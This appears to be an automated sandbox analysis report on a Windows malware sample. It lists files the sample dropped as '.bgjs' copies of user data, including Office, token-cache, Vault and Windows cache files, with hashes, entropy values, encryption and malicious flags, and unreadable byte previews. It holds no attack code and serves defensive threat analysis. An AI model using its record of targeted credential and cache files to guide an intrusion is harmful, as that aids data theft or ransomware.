Preview:	SQLitA....h..;jw%.8S....~.g_.L..:M.hmf?...p....V.o.Q%O..O....>.D....I.0..+.3.#...De..J......[8H....5./.i.......%2..,..O...3.l.%.U.W.m?.....'...h.TJz.R...;.4>.....ddcu..b.h.b5..=...l..$...g.V.E. ..+.A;..x.\|@..M....t.....I..5^..xA.X..4h..).u.....Lq....r...I.cM.. ...br..$...a..f.v^..@].72;...n.~...HY.;......./.....r.o.>\|K..cTBXD..].q...........v.4..V...q#.r.t...)......' .1.+.F.v..!J.Sb...+..P.3..a........{p...-.3B...4...ebF..;.J.(..n..w.R.O(.X...) .wg...V1..5...w...<P#..d}5.R$........1.y`Y.LS.J..q.{O.....EW.....e.g...OXW.c.z$n..q.....Rl.....S..q.b..".1.fg....+..S.....i$.. ...s.-9..Z...S+\|.K.z......N.Axs.\y...G..._9._P.p..C.rV...+5...Qf...!..x{.E..^.`.!.ym..s/.\...].L.?(g.Oe...%...}....].].;.s...{.l(.,.E\N.......r;...O.... -..l..V..n..&_.V.$B.R..e...TObC....Xy\...~.[.}.r]<.>.K>....$....".2.in.......&7.n..9=5GM...0......... l.%...@.k..0.c....l..Jh[l...P.9m...."....B.U.Kk....V$.Y..e.."z.c.d..)8.x.%u.#....U....W.A.......iXY

C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993539627076021
Encrypted:	true
SSDEEP:	384:XWUqwEA86N2fQEBquPdlHDR5Q2psIeb2KV9I5ybYp7I5RyTDHUhhNGO1S0z4h5R:XWNzGu9/pYF9CybviTD0vNGO1S0zsv
MD5:	1E908B37FBF358D0A239AC230B3036C9
SHA1:	663DA847639926D92E96EF8E9B81C7BD8B1A690E
SHA-256:	0E38FE4AB4B597ABFB6249F86B76B101578C8F052997F54FA9C9A14C53A54E62
SHA-512:	1D8FD3E520D266B30FA71312A136E09B8898220F92207F27CD841D0C22B9CEB0112FD4DB0879E2B775DC822405A8C9EFC57D002C7400ECB8D5493947444234DB
Malicious:	true
Preview:	SQLit@7..,+.CR.....\.M15D../C.hT...i2..L`...5...Y..G:..........f.S.l.....5.}.....I,...6.xi....D[..'.. .......3....$... .I....B.]..d..!.u..b.......6......Nh.7..u.=.O*.;.wZX.p>s:.a!.E.j......I........6..O.'.....U..&.l...C..T8r..?..Tc..n...1\|..b....fm...Z0...!GjQ{......\..eV...M....l..:+c..@.w.Q."...........<.+.../...g.G.....x.../..OjO.....O.......[.....dSw..vP(...c8e.F..4.A.3<.St..EM...1.Q...HRo%....&U..F-@.C.R.B.QwH.......~...h..4x..'.=...Bu...".....1J[.H.....O.w..^..F...7.1_.Gw....F.."....Y....A=..A%4..UV.u.....?.....K>%....\|..:.....eff.w..1...eq.h..k.E.(..-.....x.9..(;../S"....[.I.Z.7.$^..u..C.Lxr..=e.5...k....H.e.[.....k}..........i.@.f..e6.I...}.....)g..Iq>.hq....^k..u........_.n..SX..fNz}.B....?.....X.+.x..a....l"..G.....I..?.L.t.^..i..Vr.)...u.8.b..mq.....^.......&u.8. 7I.q.6m.>.<....}s5)H.K.nK.......A..w.~~..D......<Q.1..,.~...[A.H1)5......a....P....\|\..+k.Y.b..u=6-...W.....)....f...Q...xF..7."#.?.....9@6...G...i.....W<.F.$9....T..U.mDQ

C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.992991600254718
Encrypted:	true
SSDEEP:	768:K7E1oFDQMlr7BnZ6yid18MCWGEw7GRsO/O/5gBDvLGiBP:AGyDQMTnZdidCMpw8/AgBB5
MD5:	552E14B462B8F3D009F25BA3018E5D01
SHA1:	6EC0D7CA94F495648586C680C93B685DAC80EA0A
SHA-256:	81602E66006C24D51E75C1CCDD9A0EB326CD1AF9BF736451DAAC2D09CFAAF6FC
SHA-512:	58755C7B2008C9F8B2EABF36B3FE31797BCEF9E1298BA48DA5D0076EA3982D37956B9E35CB548B4E1BC0C5FA4C103833E7D6B77772E4CA0FCC92884AE815ECB7
Malicious:	true
Preview:	SQLitM.:...8....'k@.N9.c..f..0....)..i.aIFh.&.o%........D.?i.}.......p0...".....X)..`......-.fEZ;aK...<w.eM S.k.......3......{.,...Q.!........iU...S....T..3...B[..J..{2...PL.f.~_..MW.w....6.;.f.5......n.W.......5.....d.Y5y.;.?.QF.>.....^...-\|L....x?..RJ4...YL.19{...N.2aM..V.\......h.....G....?.A<....)a.....Fzw.7..".......Y....).".(.g{NGCv.....#..%G.>0\|........`....%.V.[.=..uj...X.Q..%..ZY...\..GL.,.uX.r...!.U....U..0Gt.?........9.Js.?\|T..MgEC..u....x\|.l..?N.GI.ruO.5.m(#e..7...].@....3...4.f#.e...&8...b.... .IA\...y..+X..l.T.p.....R.....d9.?..jO;..._^>.N.2q.Dwa....7F.C.<.."...{......).Q..`....E.E.......................F.(l..G....7-.}..+SHW.f..[....4.s..pm.\.[......&.)N...=........>\.\|.Q....p.d.....,Ww...y.\|J.k..........[J...aA.......B{.......y..7.{..H.F.......K.5.......f...-.,%T......t..Sw..7-.6A.`........^.).K.._._..C.4....Q.4.lg.$~!D..i.t....+..e..;..: >..*D........We..22.. ....Q...=.....)..#.8...N.....+1B.a..........:..>

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.818556877497985
Encrypted:	false
SSDEEP:	24:YV2moi0QdCLam7A7dq3+55DHT1K/S3DkOtcP+Zv7drEzY4PDBpmAbD:YVPoiSLaIQw305DHT1K/Uc2ZTdgVpzD
MD5:	4546DE98FE557954DDC121137D646BB8
SHA1:	457A7D7AD6EA127600A0685EF5AF41E7DDA70D2B
SHA-256:	20AE2F89166792E16EBB2272855F2A3227BCCF7DE11C579194C0A6046C973889
SHA-512:	FC4DF77B576A02BD5347D05028E3D1D7718D86BCA29966A5FCBD30E3102A8A6A1FFEFE0EA67513471681A007F77A0150324FB77DA31512CAE4BD34150A4CDCFC
Malicious:	false
Preview:	{"Rec........pWF.g.(t....O.8....}......_.E.B..X...b...w....e.mQ-.%.G...6I:..7K.......7Jd...AR... 6.c........KaSQ.pH..............e...n=..5... }..P...(..i..Gtg....J.._x...G....8.Y.->....+...#...%.7..+...~\|.k.....d..o..m\|`..p.x..<...c;M.E...C.Q0}W3..L1...<.Wi#..xgmOX.f.C.......6..S...2KH...JF...K~.&.<....d`.x).k.9......WiHQ......-."..^...\.!m.To..gk...e....5.3H@.....>...ys.w`O....T...F..Pm..k.6...0..V..{vN...^@o.k.-t.+.Y...9.gu\.P{!.yn....A.a.V..T.`G.!..`...3@j;.......zm.uJe..........i.D.o.#b.....m..&z......,.5.h..Y.gVu.c.m.Bw....c+..+.........l..,...{+.F...O.=..!...N....3..7J..axl?..?../RS...5.e.h.v.E......r.0..:'K.f.I.....e.Qq....<dCc...q.IH...a....l..a.$..?..>Gq...Z....z...,...^..K...)...gc%kz......R....e;d0.<....7..$@px.4..`J@g9T.....U5'.9..p.q..D.:`...+..m.0...x=...n.?K..I{...p.....R..t.3.....J9.5.?.<...Y.t...j...>;f...\.` .\p0.....V.9..............\kxxBH&.....).4g*\|@..QN).eR.D..3oz.#[.....Z.r.#C..ZoHO...<.....d:}..-;

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.930719742799124
Encrypted:	false
SSDEEP:	48:L2VhPU1fEpXlTo1Z+2FDpCTCt06BQ8tDjLcUmdEVWAgXpAwGfih23UqHGCD:L2Vhs1fEp1U1ZLFgTCtHljLzmyGpHrhs
MD5:	A56B3A0D5051F006B3850149DBA73730
SHA1:	CF9C86920D3D69618EA5CA3485895EB6CD7F4F7B
SHA-256:	BDBFE5C4BA4803252CC549C2BFDFA017E42AA12CD7FB3DA68EEDBD4F80B075E5
SHA-512:	E1454D1492BE217AC0634BD44B7870E6AA1071FA8C36AAAC62C61A35BA8604C3B993FC3F71C2FDA08509787ADA61605177B8FFC525C460271B651AB2B4AD9650
Malicious:	false
Preview:	{.".T0..x...pD.6.K.,..?...0..U..?j.k..._.lg..Z@.#..../.sy. ..#I.8.\.......<..".{........7...>..?.<.8...3.T.45...t......#.{.w..@....}..)....!.+.'.b<.O...Ll8..}...BG..-p+..87.{n........\t....jB,.Sv..h.......4\'.\..e..m.....m..^..1k.?+}.K&. .&.C.b..s....`R.J?.t.....LKb..[..~.^..Z...>XQ.M+.N...tbD.....r...0d...L0......W6.m:4..7..t..}....P-./.. h..Z...<..=.%..b.}W].7.r..].@.i...M.E.\|..%;l.K....V...e.SS...m..Hs.@M....q'.j.....1.H.[+... ....+r.>...,.....y.NK..`.4.!].X.FU..#\f;..N....W#.F.....C3...H...I...,\.......H.Qwl.~.K....c.Y{.V...oe.~8".".........M..e\..j.o.g+...@a....P..~0E.u..B-.@......@.>..aWf;..a........x.q.1..Pn.R..M.%4..].....A..&......,.....C\\|5....C.=J...0s.X..f..U.....]u.d6.t.').. .v.m.[Z...\s5.t.6M..;._9..:R..P...b&..lv...........r...D.d;L....x."...7.:...&.]AOy....!D..M..i.&.A.!.D1...R..5.3...........>.m ..A..L.A...k..LQ.p.>.R{...G...@......7.<.....r...3....w.*q......._.S..Yn9Ar.":....x.^4.....1..ur..C^....@..j .+6.....)0.O...8.f

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937415419335863
Encrypted:	false
SSDEEP:	48:+7ra8a48e4BRIJMlsPzjrgNyMTitamPPC2FBnwQvipJvkx7GgJKKJ877n4cND:+Va5nImlsPsNNiLPYdkx7GgJ2
MD5:	4620B63E131B18FB44BCEE1302158682
SHA1:	E8A362BFAA6AC23F6942C802C9CC6BDCD922216A
SHA-256:	A7D1905914471E1A9AAFD1DF98059F540C7DD17B6F63E64DB9BDF1E0A6131950
SHA-512:	609394ED4886B7CE5C38D459AFF4D122796293799088832365C5A5B27A4CA62B57491F4C0CCA78571386A1802FE1CB2E20B52F600924302A0F3A5AC2EC28316D
Malicious:	false
Preview:	{.".T.U..%...\.c2...}...D=....U.j.1~...n.....a.sE....%oH.L.<...1.....j;..Ps..v..}..$.n/pE.F^.....6Q.i.K..K$7..........i].K!.NB/(.z......\..)..Dr......n....0......c..;..+...Z.....`$.}..N..G.#......J.;...8Y....,.........1....4.....Q..-.XH..Eh.X.u.b.I..W..$!lU.......4. "b...\..........Z.....!..i....~.....-r....8.Ok(.......i.PWo....F.....t1$vpxn5..`.i..k...)......G......A...<R:...K".Y ..n.>_......W../:.......U;.ne!..!oN>.j.~.J..i:d.......@X.e....;.$}7k.l ......t..+....N\|?..fMaw9<A gd.&U{)A....\|f..H...P9.......m....'H.<A........2.kQ..8Pk....[...qX....Y...*"...\.y.<.,..DK......(e.V....'...K.mX5&..4A....N~...o.J0.&m......gT(.......i<>{....FK....z...p...%.vg^..~k..........\| .=$....;.%......;....s..'..a...c.. Z.^........8..s...6S.J....d....e0..[@...PV..d.9(>NCNe.u_g.O.YB../......7......2x...?..5...U.U...8..BJC........~Qm..S....0A.NW...7...#..(z.....@...gn..........JD."A....~J....</.......\|.^0$....`.."`...2..X....6.(s..J..J.F..J....J"-.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.959639260349596
Encrypted:	false
SSDEEP:	96:b7FT+8455sYVGHQCf2NGySFzsEbaoM/y7zYcZIqHH0T6guYp4tNrnzSduXmy:b7Fi84MsNxDEvZNvHH0OgEtZzauXmy
MD5:	148399C6EEB9AACFA9CF901BF046ADF6
SHA1:	6412DF4005B76F1EEF219AAF4800CA4B20C11ED2
SHA-256:	0E255C5993DE632365905D0255FD317718398342C4DDB90D04BC7896BDDACFDF
SHA-512:	0AFE3AA926999209B133756E2363CF021FAB2507EC3FCEF4778CD78BF619D8DBEC9761A5B1CDBEA19D590E61CE7C6075BC1B567A32565ADAE0B0836B4D4D0A9B
Malicious:	false
Preview:	{.".T..x..6).;....J.%.)...a.]L\F....tw.Y$..r...N.at......rmZ.+........0.1.(2.Y..K.(...`....U......;AI.......6.......!.4{..y.U.....I`.SZ.a.JS.=.A......3(..e..Lf[.g..`..8..k.=..>_x..[..(^....m..O.v.6."..o........!}3....mt......]....D."....mt..A=.MZ......?^......,r.+6F.,..\|.z....EO3O.,.\........i..BM..zP....$.og..a.zgO..'..N.#oe...wv...C1..D.%)G..'y....:.l.^..q.....0.1.T.L..@.f..4....p....Fq..w.VI.fa..-..dL1.Y...[-h.zO6.Nr..l.b..Wr.$..9..@a(.?A...(v......Y..Z......l.[.B1i...0...O....\..a...S.P....R.R...j.6j....N.K...n0..H.......k.C..PS.b$..s..h\|xN.' ......3r...#q..."..@.>Bwh...3...s...E..e.o..QL..P..........I.hUsy......... ......7..^b......<.{/....\|......%..bo&..165P....B..x[.H.v.0$.._T...l..o.._...3.T...D.e\.......m..Nj.R%......5.3.,.......L..s.q.w.2@<....-{.d.<E...m.z.,<.jn._^.....#t..Qz}....%6..~.^k!Y...AN\|.z;...Qt..+....>R....@s.s..A3...N.......J.6..F.3.T..!.$L......k........z.V.]&..M"$j..\|l+.D.=X.U..'[....O.YH..0d..U. {.(.2=....:

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.937360213538989
Encrypted:	false
SSDEEP:	48:2dZ25czwmUJfEww7ALOKTGKc4eBG/EJKegRdMXpVTXFAncfoK6fPU1NwwFaaFIiH:koYBUGAL7GKc4EQZf+pacf+U1Nwc1FIG
MD5:	C93F223DE7E0A580D58B5ECC08AA2DD4
SHA1:	035A573B63DAC20BFC6C1411702D8C0E08F9FBC6
SHA-256:	D772379A5D83D7C464EC63B9C30410B1600754DFED18E789927059B3CCA4B2ED
SHA-512:	2DFE9591245171824236DF467A9FC5A1DF86ABD52CC35E1C81F4582733B2B7B5A59C47A541069EE5E2D18FF96BAE210A4C0676EC8ACAB29FA1A0B91B32631390
Malicious:	false
Preview:	{.".T....6.#r.N.2.W.p.Y]A.....VO..,.M..$.....?..}.>..dQ.}_#".25.Vb.f..f.\......M.:F..`.'.5.Ul.10z........+ty D..........k....q..^L&....].uy."....jxi2...5<.H.^Y.s.......P0.p(.e.......$.[.Cd.!t.WN9....U..........W..e.........( ..A.[.v8..g"=K........4.<."n.,.....,.cK0..v.8:.E..?\|.E.8T7&&i.y.5..a..xbG.'...b..G..xd.qb?#/..L...qU-+:8R.....z.}],.'.#7.g).....0.[..W...?.@7>!.._...1.Y...k....q...E....y.7.S9b.dF......K...D.....K.{e.e.h..oZ/c.#......i.\.=[q...!k........^3....Nx...r<j!.s.Q..xan...b..K_lO..I.I.h.....$3.(.?...&.9...W;R9..Iy...~...Q.P.._.D[;....t9c.}...c."w......>.FH....'i.A...nZ".T.........is.tPx..e.(...$M........R[=.a...[.0..pj.6...-/..+=wI.Nb..9...V'.4.T.Pm.^R...q..tCZ6=).\|.......}l..X..V..~3...X!.B.f.s.w!...u\|.....j.(.L.un&.v.`.p..\.P......^..4...]f:..,....8\'.....U.e;.P..D-?..c/!.....}...v.xx...5.7...4jx....3C\qS7.\|c,v_.(...^..-OT....P....e....8..t9.`.9.Nv.r..I..E..R...j@f>..)b.h...I8.....2_.p..L.(o=.Z.h.4J...0......

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.929500148276171
Encrypted:	false
SSDEEP:	48:O4njBq2Aaza22ah/FQSO49nh5QI2cc5Tf8SjV9eEa7BD:xnlq8Oxo64VPFATHV9c
MD5:	2F5D8E800E60B33C713B5C6750D5B410
SHA1:	368CC587BDF815AB0E1E77F850AE9BBAB22BC427
SHA-256:	0709522368BA5A4194019DE37789EFA36C9750C4F8630895633DAA70FCE0E124
SHA-512:	0575319C8CA789224E90D53815D6F9A636C02FBC78BA78944BEFDAE8544AFA9EA23807B60BCAD97FC92FA1231DE174B103896B550A3E9E18F110165993E00CA3
Malicious:	false
Preview:	{.".T9..Q.5...q.:.[O..z.L#.p.L.f<Nid&`..c.C%.".x...S.A\|..Z..(\|..h..........X.7.RtCtl..9....?f...2....5..%.....O.,s..^.Q.(#.X'...VK9........,b7}].jU..E....ci..!.$7.YEYe.......eT.1.u....^.9.....Y.%.?...O.B....g....t...c].V.T....`.`e.....A..#.r..:...t._.(..b..O..o..'...\....N.!T.....Kew.`.W.!....\|..`T.5.^..E.ytMs.....g....Qa}..y.q...I..k...gT(.Y[..sK.......C4..['.9r.P...g%....bY}...{'.[.#?...,......V.B...U..%pJ..!GM.......,)....Q..l.d.k.'#...\|X...........t...9"...1!f.3..S..>..ca..d......L..Gh,..Og..6.-.}.El...G..ey./...Xf..\..O.\|5.-.#.eF.......-A..L...k.o.,}....:T..\;..Y.y.%o..5.=..@....@.3......x.....ms.\|.!....J...]O........Zz.........).....L.k.,!#e..>.?Y.5...dX....k...4..I...+`.p.......8.O...K...zy.Z.W.\..g.T.e.....\|...:.U..G2E..(..._....hE.......l...kq.xB..#..\oE.....p.<Ah.P#.v...[....m=......[.F.(r..8:M@.....O.\...m.P.'q..Q....Rl-.]O.p..u......4&*K...f.h.\.L.1.s...J..d.si..r....Rw...u..O...S..A.i.bI.....JHT.P...).b.N.x.g.

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.705214833545388
Encrypted:	false
SSDEEP:	24:I1BVJFQoIC+ueQMhB9FRdNyyOKgnskwI224qbD:AVJF6CgFhBw9AI2nID
MD5:	3CFFBC9A9DBF7089DCE53B0FA326EE9F
SHA1:	51CE205BC5D43790649FC992A20EB0003A175203
SHA-256:	75FFACB3C1E08A228CAAA51EFA0952EAAD1AD71694B7518F0CB0829E9C636DF6
SHA-512:	90CFA83FEDB18158E4B5F6123517BB265963E3F8CEFAE088EE932FA8228E9D3A054570F8F9BDFB907ECB0DB6F755EB042C21EB8048C17900F2E1DEB516622BA1
Malicious:	false
Preview:	....B.M..5.pQ.....Q..\...%...L<jp...X..._.....RmK..;<...W}s.A....(...=yO`....V..F...?.......a........C.2..Z...9......Zxg.S._.)).v....iM.%'RH......g.s....;.._..Fs._Q".5...R$...Ol.8.../.Q..B..t.2.V..p...Ng!...{....OW^.;..pX,.<?...\...].E.........S.U.i.6.)J.9D...Zi....V...9+.....X.Z...X,.-C&X./..~....o..Y&.>..."+d....qE.....n.s+......(.z.Kk.s..[.....9....+...t+.ZC......Q..X............gn...@...Q..I^.+.m.g..n....?...g....vc..y4.f...%..S...6...I._.T..?..../W.......L.>.t..ihX.,.1f.......RW$d.@......Q.e!.......N....@S.%.c{..g.....d...:.q..).}.r..r..-V<./x.H.....C.Z.F.H5g....I..v.........v.-.....*N.....8/. 4..e.-../jE.:.............8e.........}.M.@...."SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.33054088377872
Encrypted:	false
SSDEEP:	6144:RIi78Z/zEKQgynRQI9Vs3Y5WJrTv0B+eYm+vyJfbnQkK96B88yKv4bWTmTvEiLSF:aicbICIPsNcLYm+6dF4/y
MD5:	BD57E1E9D235EAA218289D2AB9B06A11
SHA1:	861A8BF53AAA5D000BD014413D241F39A2C37DF1
SHA-256:	1A0D9F45C6FD53D5DC2B92E0FFEC8261F6D1D9D35BABF9D129921347EF3F9108
SHA-512:	81ED620FFB0260374A385597D6D0319CFAF36E14CC1C4BE03643D3DB5A393DC768626305BD157CB809DC8E43EE44346107C9A6A6823BD072BE06A41DA89048DD
Malicious:	false
Preview:	...P..u.Q.0...........V...w.k..+.C...j...I...%G.&.I_D+m..:...O.j@(8.S4....m. ..?...l.....sbP.?...A..........rb ...4.....p.n.g......wc..._.."9....T..}.....z.= Tk0:.....kS+..........Q..9.Rc.....l.BB:.1b.4.h......\|).5.&.c.(s`N..i..$.,.f;C0..gm?5...y .k.h.~.iq.{.my^.N.=oG...<b.S.b..>./~.0..GP.6.....%o9..(..\.Y.WQR.Q/..\|!.\|....6....U+.#b.i.+F...5M....lix.Q9..B.............1^-!f1t...PSH..y........Q.......D..-T..rPu':.q....)\.G....`2.fT............}...."QJ&.&..r....z]C.JJ.....E.3..Vm....L9jS.).CD....../..oSHF/.Xr.fR..'.H..LI.F.Q.i...z..z^..?....z~....o...?^....Lf0.f...J..i.R8.ag.x.%..l..Z.;....e..g......z.92 ._P...(8..~..6Dpc.ij..(<...2.8W.p.....&...,Yg..VDc.......W.#..Y.......w.\.1r.'7..}.'@{We...3.h..pw...7......v5.8....B@#GT..0DZ.K.@.xnt...e..2.E~y.o`F_.ct.......L..E.E\|..O$mT>QF.E$e..?9..j.bH5...xqG... f..x....#...Z...(4L..t.....#.......d...$M=.0.ZL...... ...]Z.[..H.}X..~.+....&D...x].S~..4E@...{.....2R?.om.*.......7.l.<..)v.ba

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.9901702793182405
Encrypted:	true
SSDEEP:	384:VfLJ7upWax0DUs5LN43xzw+4abwu+zXm8A1BX6YrHMzf+8:5LYpgh55sCluum84cYry
MD5:	616EFE654EBD4A10A2ECF087A46FBA97
SHA1:	602C251C62ED23DF64BFCE31E18DAAC17731D7AF
SHA-256:	AB8D3BA9E2FC09920340EA2AA37D9998B503D6DFFF166EC50B8DC4029497E7A6
SHA-512:	93F4D8504E5E686273F4C9BE20BEBD1E616AE2E3F4ED4BCD86766F22E77321970E4AA8C6DFDB991497C4DF9A7541B1DE63427D441A084EADA138D8EDD2448A54
Malicious:	true
Preview:	.... ......].\......".3....q9......7j\|...>x.n{..QG:.O.0;..Sa.....$8>.....Vz@.....km7(..q/....../V...uq.&..._......aa..P.;.`v.'...1.K.hF)../..q;.....2.5.......}qY.N.a.PX.......c.TW...#..B..C...S...He...[...\|.."G..5...y..c\|`z..*..#7A;.z.F....x..;D5...NM.....;.....:;....J....c%D(.Md#.T.....n.?..U@.?^....t.h5F.lBRd..]........I.(.}..0x._....(Jk...Vo..c.......I.%.........KA..m]..e,B....:...p.D...>.g...wS..u.p....O W.A.+..\.o...!n.....E......&_........Bf.ka.L..~;.Fk..T.K5.....p..X./.....w.;<.7...lJ?.`.0>P.UD...........g......I..&._p..0.v)..lM..U}..t....I...Zv...k..{.I...I eC..M..c.-.?L..@:..5dr...ykRc....z....".A..5....[91....... .[..?....c..b..(5...2...w.(L.K7j.J.u......7...U[.V.x.],Q9......i.11K.M[.t....%.>JL..-\|...K...t...h.Uk.\...;]...:.X.....7..I.A.+....{..'%G.(.H[.S.S....gf..]...4.R.'i...@.yg.x..o.p".......-ScvX.R..CX..$......'Z.a.1 .VL.../-.,...)..lP...l..q..\..9.vW..L..s.x$9.l>Ot7O.{sk.q>.2=.b....1s..W..Q..........#.#P.KWV.h0..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986988851127181
Encrypted:	false
SSDEEP:	384:ewR4KiK7sMAHP7Q9SmXWsX0ecajCAK1EY1k/vUcUFf4M:nWpKAHMUmDjYCY1k/dUFh
MD5:	0B35AAE3BBD26AAB68F5FBFCD70DF88F
SHA1:	D16CAEAE8977FDA61474A15917807898B75359D5
SHA-256:	560418F3F1B1A7C3C3FCAAFCD754A529BA52AD4969159638FEBCF3D6BC4A7546
SHA-512:	E554713A63CBB13E936A8C7B9B71CF7430AC1C3CF26DE844BDCCB9ED1C63F710E431F32841F0399B7DDBBC71C250218D55F379E548F5420FC54FF41C179A6566
Malicious:	false
Preview:	....`.Z....L.....%.0...m@4...`...v..Q...K.k....)....0a..0o..p..5a.~...w.....i._eI..o6..\.....G.V./.Bk..a.s.D7l....x...K....u.;IM..\.NARw..Y.#5..H+Kk.m...m.......\^..%.p......j .D..\:.....=F....h>..2.u.b..f...}.........\W.g....v-c...sw................gb......MA.D.2+5.R.H...7......q.a..-. I........4.,^.w.....i.DQTz.>.d[.dr.p..]K.q.hs.....c.:4..F.!..?9.....F.....M.......57q&.....(x.....`..Rl@.'...d=p.m;..~..;.F>.i.y......v..fb.Uy,vn.[=i...S..2..d..D._p4...H`1.%_....-C..8,4.......F`....;xH.6OQ8..##.....w.C(T....5....xg...sH.O._..OY.z.D`...Ie.<.4M...g.\U$.=..^."..........,...%.......XL]..glH..zgy..jljB....\.'K..v..... YM..mz (..w......V.....\|...6.-..:#...._.).1.=..../.... dM$..m-F.64..`.(^s.%,s....Y<xuU..mz%).T %...Z.....X3.;0SJ...0../.h...`...(....^`..6....W.wt.YJ....[.Mch.S....PGb..-[IO..0u.<_...D.?........tK.....0........y7.@+`n[...U......A.=..Y.PP.......;..Y...S...;.f.}..8a..-XRH+%.R..F.z.m..W..%..t..=...>.v..E...Vs&.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331637239340775
Encrypted:	false
SSDEEP:	6144:5OF/ICKC3nOrsqpajIIjjm+vyJfbnQkK96B88yKv4bWTmTvEiLSs:ECCbMs6Cjm+6dF4/X
MD5:	548C42342038C0E5B6466DD61B897FC3
SHA1:	7C66F29854FF2761AAC261B9C90473B4E87919A6
SHA-256:	A42B81939703713FF1FE48B3FDC1071288F155B02CB71C1CA7A3E8E449339A7B
SHA-512:	BA88537080FF95DE452E87F5E09954AAA67A56D97072E3062855FDFF0B873656D98956FA0F3FF3842E5177D5915388E7A179B3CC7D64513DD0BDF65A43F2C7EE
Malicious:	false
Preview:	.w.. ..@.sG..d.._9.7.....N;{..f.7.j.'H1b>CG.f.!^.`.....XU..?}.+...@.\|l.}.c........[...P+k...4-Oh...3w.:.\.Y...!F_.}0..{.i...Q7t!..6.......-.A..^..G.....RE..Y..;...m{`....E$.>...._.l'u. ....a...`.....R.JE...sOY\|.<...U%>..h...P.9;...x:..^\|#....=..>..y..Y.Ku..;.B....x...BZ.w.....V...~}.T..&.4}.....0ba..Wc...%...........J.-V..Z....[..m..c.@.u[.\.L..B.:.X9...W...z5.h...W..&.Y..p....M...@j5..y..%....C...I.%.Y`... ..)KEZ../..-0Ir2.TU.........7.....F.....C........2\....*j3.....L+..AT..../J_vT....H...`._....a.]..._.=27x.?......Du.ly7Mo......p.`....uf....?....k.Z.+iCb..HK.......^?....<~Y....+1....:....O.K..KX.[:..L...+W..8N.i.A.....Hr....rXvc....b..D.....D.{9_.]...".r....E..v!x..%.X..L.jy).)..?.c&..p..TBS..A3....O1...:.......B5...L.I.K..0....T..$J..U~.&..C,%G.~..x......d...V..5.....E1..n...pC..X...._..!.\|...!.owO.4...1 .5..f.adydj.T.:M.pZ!'=..d...q....(3.?..7..j..FI&Y_.\ KvX..JQ.`F`....;.>..B...@a.u....1..Z..I.....2..8...].\0=..o.N..........

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998209003296122
Encrypted:	true
SSDEEP:	3072:1bCCH+zDJ02hsVArN6zwq7bLouW/SkilhzkvPv:1bCCeXJ02eVyN6zwgLou0Ss
MD5:	10E364A4A0FD94F8BE6F1560351D7076
SHA1:	E33182C7E9F2B8D18F6DC1F13A43664162CA46C1
SHA-256:	27F1FD08E12B0EAB68CC97DDE4A21912106EDF557DBBB4626EEB15235E6E8267
